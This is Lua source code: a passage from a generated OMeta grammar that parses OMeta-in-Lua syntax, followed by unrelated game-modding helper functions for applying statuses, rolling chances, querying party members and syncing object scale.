(input:applyWithArgs(input.grammar.token, "}")) then return false end return true, __result__ end) end, arity = 0, name = 'grammarBody'}), innerRuleBody = OMeta.Rule({behavior = function (input) local params, __pass__, body, index return input:applyWithArgs(input.grammar.choice, function (input) __pass__, index = input:applyWithArgs(input.grammar.choice, function (input) return input:apply(input.grammar.name) end, function (input) local __result__, __pass__ if not (input:applyWithArgs(input.grammar.token, "[")) then return false end __pass__, __result__ = input:apply(input.grammar.exp) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, "]")) then return false end return true, __result__ end) if not (__pass__) then return false end __pass__, params = input:applyWithArgs(input.grammar.choice, function (input) local __result__, __pass__ if not (input:applyWithArgs(input.grammar.token, "(")) then return false end __pass__, __result__ = input:apply(input.grammar.parlist) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, ")")) then return false end return true, __result__ end, function (input) if not (input:apply(input.grammar.empty)) then return false end return true, {Array({}), false} end) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, "=")) then return false end __pass__, body = input:applyForeign(LuaInOMeta, LuaInOMeta.choiceDef) if not (__pass__) then return false end return true, RuleExpression({name = index, arguments = params[1], variableArguments = params[2], block = body}) end) end, arity = 0, name = 'innerRuleBody'}), strlitB = OMeta.Rule({behavior = function (input) local slices, __pass__, last return input:applyWithArgs(input.grammar.choice, function (input) if not (input:applyWithArgs(input.grammar.exactly, '`')) then return false end __pass__, slices = input:applyWithArgs(input.grammar.many, function (input) return input:applyWithArgs(input.grammar.choice, function (input) local __pass__, s, e __pass__, s = input:apply(input.grammar.slice) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.exactly, '$')) then return false end if not (input:applyWithArgs(input.grammar.token, "{")) then return false end __pass__, e = input:apply(input.grammar.exp) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.token, "}")) then return false end return true, Array({s, e}) end) end) if not (__pass__) then return false end __pass__, last = input:apply(input.grammar.slice) if not (__pass__) then return false end if not (input:applyWithArgs(input.grammar.exactly, '`')) then return false end return true, slices:flatten():append(last) end) end, arity = 0, name = 'strlitB'}), slice = OMeta.Rule({behavior = function (input) local str, __pass__ return input:applyWithArgs(input.grammar.choice, function (input) __pass__, str = input:applyWithArgs(input.grammar.consumed, function (input) return input:applyWithArgs(input.grammar.many, function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(input.grammar.escchar) end, function (input) if not (input:applyWithArgs(input.grammar.notPredicate, '`')) then return false end if not (input:applyWithArgs(input.grammar.notPredicate, '$')) then return false end return input:apply(input.grammar.char) end) end) end) if not (__pass__) then return false end return true, StringLiteral({str, ldelim = '[[', rdelim = ']]'}) end) end, arity = 0, name = 'slice'})}) OMetaInLua:merge(LuaGrammar) OMetaInLuaExt = OMeta.Grammar({_grammarName = 'OMetaInLuaExt', special = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.special) end, function (input) return input:applyWithArgs(input.grammar.exactly, '$') end) end, arity = 0, name = 'special'}), primexp = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.primexp) end, function (input) if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then return false end if not (input:applyWithArgs(input.grammar.token, "$")) then return false end if not (input:applyWithArgs(input.grammar.choice, function (input) return input:applyWithArgs(input.grammar.token, "^") end, function (input) return input:applyWithArgs(input.grammar.subsequence, [[result]]) end)) then return false end return true, exp([[__result__]]) end, function (input) if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then return false end if not (input:applyWithArgs(input.grammar.token, "$")) then return false end if not (input:applyWithArgs(input.grammar.choice, function (input) return input:applyWithArgs(input.grammar.token, ".") end, function (input) return input:applyWithArgs(input.grammar.subsequence, [[head]]) end)) then return false end return true, exp([[input.stream._head]]) end, function (input) if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then return false end if not (input:applyWithArgs(input.grammar.token, "$")) then return false end if not (input:applyWithArgs(input.grammar.subsequence, [[index]])) then return false end return true, exp([[input.stream._index]]) end, function (input) if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then return false end if not (input:applyWithArgs(input.grammar.token, "$")) then return false end if not (input:applyWithArgs(input.grammar.subsequence, [[input]])) then return false end return true, exp([[input]]) end, function (input) if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then return false end if not (input:applyWithArgs(input.grammar.token, "$")) then return false end if not (input:applyWithArgs(input.grammar.subsequence, [[state]])) then return false end return true, exp([[input.stream]]) end, function (input) if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then return false end if not (input:applyWithArgs(input.grammar.token, "$")) then return false end if not (input:applyWithArgs(input.grammar.subsequence, [[source]])) then return false end return true, exp([[input.stream._source]]) end) end, arity = 0, name = 'primexp'})}) OMetaInLuaExt:merge(OMetaInLua) OMetaInLuaMixed = OMeta.Grammar({_grammarName = 'OMetaInLuaMixed', name = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.name) end, function (input) return input:apply(Name) end) end, arity = 0, name = 'name'}), token = OMeta.Rule({behavior = function (input, str) return input:applyWithArgs(input.grammar.choice, function (input) return input:applyWithArgs(OMetaInLua.token, str) end, function (input) local __result__, __pass__ __pass__, __result__ = input:applyWithArgs(input.grammar.choice, function (input) return input:apply(Keyword) end, function (input) return input:apply(Special) end) if not (__pass__) then return false end if not ((__result__)[1] == str) then return false end return (__result__)[1] == str, __result__ end) end, arity = 1, name = 'token'}), chunk = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(Chunk) end, function (input) local stats, __pass__ __pass__, stats = input:apply(Array) if not (__pass__) then return false end return true, Chunk({statements = stats}) end, function (input) return input:apply(OMetaInLua.chunk) end) end, arity = 0, name = 'chunk'}), stat = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.stat) end, function (input) return input:apply(Do) end, function (input) return input:apply(While) end, function (input) return input:apply(Repeat) end, function (input) return input:apply(If) end, function (input) return input:apply(ElseIf) end, function (input) return input:apply(For) end, function (input) return input:apply(ForIn) end, function (input) return input:apply(MethodStatement) end, function (input) return input:apply(FunctionStatement) end, function (input) return input:apply(Set) end, function (input) return input:apply(Goto) end) end, arity = 0, name = 'stat'}), label = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.label) end, function (input) return input:apply(Label) end) end, arity = 0, name = 'label'}), laststat = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.laststat) end, function (input) return input:apply(Return) end, function (input) return input:apply(Break) end) end, arity = 0, name = 'laststat'}), namelist = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.namelist) end, function (input) return input:apply(Array) end) end, arity = 0, name = 'namelist'}), explist = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.explist) end, function (input) return input:apply(Array) end) end, arity = 0, name = 'explist'}), mulexp = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.mulexp) end, function (input) return input:apply(BinaryOperation) end) end, arity = 0, name = 'mulexp'}), unary = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.unary) end, function (input) return input:apply(UnaryOperation) end) end, arity = 0, name = 'unary'}), primexp = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.primexp) end, function (input) return input:apply(NilLiteral) end, function (input) return input:apply(BooleanLiteral) end, function (input) return input:apply(RealLiteral) end, function (input) return input:apply(StringLiteral) end, function (input) return input:apply(VariableArguments) end, function (input) return input:apply(FunctionExpression) end) end, arity = 0, name = 'primexp'}), prefixexp = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) local ctx, __pass__ __pass__, ctx = input:apply(input.grammar.prefixexp) if not (__pass__) then return false end return input:applyWithArgs(input.grammar.suffixexp, ctx) end, function (input) return input:apply(Call) end, function (input) return input:apply(Send) end, function (input) return input:apply(GetProperty) end, function (input) return input:apply(Get) end, function (input) return input:apply(Group) end, function (input) return input:apply(OMetaInLua.prefixexp) end) end, arity = 0, name = 'prefixexp'}), args = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.args) end, function (input) return input:apply(Array) end, function (input) local a, __pass__ __pass__, a = input:apply(TableConstructor) if not (__pass__) then return false end return true, Array({a}) end, function (input) local a, __pass__ __pass__, a = input:apply(StringLiteral) if not (__pass__) then return false end return true, Array({a}) end) end, arity = 0, name = 'args'}), tableconstr = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.tableconstr) end, function (input) return input:apply(TableConstructor) end) end, arity = 0, name = 'tableconstr'}), fieldlist = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.fieldlist) end, function (input) return input:apply(Array) end) end, arity = 0, name = 'fieldlist'}), field = OMeta.Rule({behavior = function (input) return input:applyWithArgs(input.grammar.choice, function (input) return input:apply(OMetaInLua.field) end, function (input) return input:apply(SetProperty) end) end, arity = 0, name = 'field'})}) OMetaInLuaMixed:merge(OMetaInLua) return {LuaInOMetaGrammar = LuaInOMeta, OMetaInLuaGrammar = OMetaInLua, OMetaInLuaExtGrammar = OMetaInLuaExt, OMetaInLuaMixedGrammar = OMetaInLuaMixed}
local function ContextContains(context, find) local findType = type(find) for i,v in pairs(context) do if findType == "string" and StringHelpers.Equals(find, v, true) then return true elseif findType == "table" and Common.TableHasEntry(find, v, true) then return true end end return false end --- Applies ExtraProperties/SkillProperties. ---@param target string ---@param source string|nil ---@param properties StatProperty[] function GameHelpers.ApplyProperties(target, source, properties) for i,v in pairs(properties) do if v.Type == "Status" then if ContextContains(v.Context, "Target") then if v.Action == "EXPLODE" then if v.StatusChance >= 1.0 then GameHelpers.ExplodeProjectile(source, target, v.StatsId) elseif v.StatusChance > 0 then if Ext.Random(0.0, 1.0) <= v.StatusChance then GameHelpers.ExplodeProjectile(source, target, v.StatsId) end end else if target ~= nil then if v.StatusChance >= 1.0 then ApplyStatus(target, v.Action, v.Duration, 0, source) elseif v.StatusChance > 0 then if Ext.Random(0.0, 1.0) <= v.StatusChance then ApplyStatus(target, v.Action, v.Duration, 0, source) end end end end end if ContextContains(v.Context, "Self") then if v.Action == "EXPLODE" then if v.StatusChance >= 1.0 then GameHelpers.ExplodeProjectile(source, source, v.StatsId) elseif v.StatusChance > 0 then if Ext.Random(0.0, 1.0) <= v.StatusChance then GameHelpers.ExplodeProjectile(source, source, v.StatsId) end end else if v.StatusChance >= 1.0 then ApplyStatus(source, v.Action, v.Duration, 0, source) elseif v.StatusChance > 0 then if Ext.Random(0.0, 1.0) <= v.StatusChance then ApplyStatus(source, v.Action, v.Duration, 0, source) end end end end end end end ---Get a character's party members. ---@param partyMember string ---@param includeSummons boolean ---@param includeFollowers boolean ---@param includeDead boolean ---@param includeSelf boolean ---@return string[] function GameHelpers.GetParty(partyMember, includeSummons, includeFollowers, includeDead, includeSelf) local party = {} local allParty = Osi.DB_LeaderLib_AllPartyMembers:Get(nil) if allParty ~= nil then for i,v in pairs(allParty) do local uuid = v[1] if CharacterIsDead(uuid) == 0 or includeDead then if (uuid ~= partyMember or includeSelf) and CharacterIsInPartyWith(partyMember, uuid) == 1 then if (CharacterIsSummon(uuid) == 0 or includeSummons) and (CharacterIsPartyFollower(uuid) == 0 or includeFollowers) then party[#party+1] = uuid end end end end end return party end ---Roll between 0 and 100 and see if the result is below a number. ---@param chance integer The minimum number that must be met. ---@param includeZero boolean If true, 0 is not a failure roll, otherwise the roll must be higher than 0. ---@return boolean,integer function GameHelpers.Roll(chance, includeZero) if chance <= 0 then return false,0 elseif chance >= 100 then return true,100 end local roll = Ext.Random(0,100) if includeZero == true then return (roll <= chance),roll else return (roll > 0 and roll <= chance),roll end end function GameHelpers.ClearActionQueue(character, purge) if purge then CharacterPurgeQueue(character) else CharacterFlushQueue(character) end CharacterMoveTo(character, character, 1, "", 1) CharacterSetStill(character) end ---Sync an item or character's scale to clients. ---@param object string|EsvCharacter|EsvItem function GameHelpers.SyncScale(object) if type(object) == "string" then if ObjectIsCharacter(object) == 1 then object = Ext.GetCharacter(object) elseif ObjectIsItem(object) == 1 then object = Ext.GetItem(object) end end if object ~= nil then local isItem = ObjectIsItem(object.MyGuid) == 1 Ext.BroadcastMessage("LeaderLib_SyncScale", Classes.MessageData:CreateFromTable("SyncScaleData", { UUID = object.MyGuid, Scale = object.Scale, IsItem = isItem, Handle = object.NetID --Handle = Ext.HandleToDouble(object.Handle) }):ToString()) end end ---Set an item or character's scale, and sync it to clients. ---@param object EsvCharacter|string ---@param scale number function GameHelpers.SetScale(object, scale) if type(object) == "string" then if ObjectIsCharacter(object) == 1 then object = Ext.GetCharacter(object) elseif ObjectIsItem(object) == 1 then object = Ext.GetItem(object) end end if object.SetScale ~= nil then object:SetScale(scale) GameHelpers.SyncScale(object) end end function GameHelpers.IsInCombat(uuid) if ObjectIsCharacter(uuid) == 1 and CharacterIsInCombat(uuid) == 1 then return true else local db = Osi.DB_CombatObjects:Get(uuid, nil) if db ~= nil and #db > 0 then return true end end return false end